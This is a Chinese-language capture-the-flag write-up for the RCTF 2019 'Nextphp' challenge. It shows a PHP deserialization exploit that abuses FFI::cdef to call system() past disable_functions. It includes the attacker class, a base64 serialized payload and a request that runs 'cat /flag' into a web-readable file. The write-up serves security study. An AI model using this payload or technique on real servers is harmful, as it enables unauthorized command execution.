[RCTF 2019]Nextphp

场景
[RCTF 2019]Nextphp_第1张图片
源码就相当于一个一句话木马。肯定没这么简单,先看看phpinfo
disable_functions里禁掉了不少函数
[RCTF 2019]Nextphp_第2张图片
刚开始想的是用file_put_contents函数写shell再用蚁剑插件绕过disable_functions,但测试后不行,不过也得到了一些有用的信息。
这里记一下自己干的蠢事,因为这题有open_basedir的限制所以蚁剑的插件无法使用。
在这里插入图片描述
所以我想的是既然都可以写木马,为什么不能写.htaccess呢,因为open_basedir的配置选项是PHP_INI_ALL
在这里插入图片描述
但是写了半天也没用啊,后来发现服务器根本不是apache
在这里插入图片描述
这个服务器类就是nginx + lua插件 + phpFdm,然后网上没收到类似于.htaccess的配置文件,所以放弃这个思路了。
习惯性的以为服务器是apache了,以后一定要先看看,不然就像现在这样浪费时间了

[RCTF 2019]Nextphp_第3张图片
有个preload.php


final class A implements Serializable {
     
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
     
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
     
        return $this->data;
    }

    public function __unserialize(array $data) {
     
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
     
        return serialize($this->data);
    }

    public function unserialize($payload) {
     
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
     
        return $this->data[$key];
    }

    public function __set ($key, $value) {
     
        throw new \Exception('No implemented');
    }

    public function __construct () {
     
        throw new \Exception('No implemented');
    }
}

应该是反序列化,这里源码很简单,构造反序列化后在a里面调用__get(‘ret’)可以输出我们的值,这里data[‘func’]和data[‘arg’]都是我们可控的。但问题是如何利用这个拿到flag。
[RCTF 2019]Nextphp_第4张图片
构造反序列化


final class A implements Serializable {
     
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int system(char *command);'
    ];

    private function run () {
     
        echo "run
"
; $this->data['ret'] = $this->data['func']($this->data['arg']); } public function serialize () { return serialize($this->data); } public function unserialize($payload) { $this->data = unserialize($payload); $this->run(); } public function __get ($key) { return $this->data[$key]; } public function __set ($key, $value) { throw new \Exception('No implemented'); } public function __construct () { echo "__construct
"
; } } $a = new A(); echo base64_encode(serialize($a)); // 即payload //QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyICpjb21tYW5kKTsiO319

参考
参考这里因为无法直接回显,所以在vps上监听
[RCTF 2019]Nextphp_第5张图片
这里还有一个更简便的方法是写入文件
?a=unserialize(base64_decode('QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyICpjb21tYW5kKTsiO319'))->__serialize()['ret']->system('cat /flag>/var/www/html/1.txt');
这里将值直接写入了txt文件,打入后再访问这个txt文件。
[RCTF 2019]Nextphp_第6张图片
拿到flag。

你可能感兴趣的:(#,ctf做题记录,php反序列化,ctf)